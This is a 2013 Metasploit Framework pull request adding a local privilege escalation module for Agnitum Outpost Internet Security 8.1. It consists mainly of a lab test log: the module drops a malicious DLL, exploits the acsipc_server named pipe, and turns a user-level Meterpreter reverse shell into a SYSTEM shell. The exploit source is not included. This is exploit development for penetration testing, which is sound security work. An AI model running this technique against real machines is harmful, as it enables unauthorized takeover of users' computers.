rapid7/metasploit-framework — pull request #2351 by jvazquez-r7 (2013-09-11 05:12:23+00:00)
Title: Add module for OSVDB 96208

Tested with Agnitum Outpost Internet Security 8.1 on Windows 7 SP1 (32 bits and 64 bits (executing payload with WOW))

Test:

```
msf exploit(handler) > set lhost 192.168.172.1
lhost => 192.168.172.1
msf exploit(handler) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444
[*] Starting the payload handler...
[*] Sending stage (752128 bytes) to 192.168.172.239
[*] Meterpreter session 1 opened (192.168.172.1:4444 -> 192.168.172.239:49189) at 2013-09-11 00:06:32 -0500

meterpreter > sysinfo
Computer : WIN-E8OO67TALQA
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x64 (Current Process is WOW64)
System Language : en_US
Meterpreter : x86/win32
meterpreter > getuid
Server username: WIN-E8OO67TALQA\juan
meterpreter > background
[*] Backgrounding session 1...
msf exploit(handler) > use exploit/windows/local/agnitum_outpost_acs
msf exploit(agnitum_outpost_acs) > set session 1
session => 1
msf exploit(agnitum_outpost_acs) > check
[*] The target service is running, but could not be validated.
msf exploit(agnitum_outpost_acs) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.0.3:4444
[*] Opening named pipe...
[+] \\.\pipe\acsipc_server found! Proceeding...
[*] Using C:\Users\juan\AppData\Local\Temp to drop malicious DLL...
[*] Writing malicious DLL to remote filesystem
[*] Exploiting through \\.\pipe\acsipc_server...
[*] Sending stage (752128 bytes) to 192.168.0.3
[*] Meterpreter session 2 opened (192.168.0.3:4444 -> 192.168.0.3:51522) at 2013-09-11 00:06:57 -0500
[+] Deleted C:\Users\juan\AppData\Local\Temp\xlulGZzMladzqRyfyt.dll

meterpreter > sysinfo
Computer : WIN-E8OO67TALQA
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x64 (Current Process is WOW64)
System Language : en_US
Meterpreter : x86/win32
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > exit

```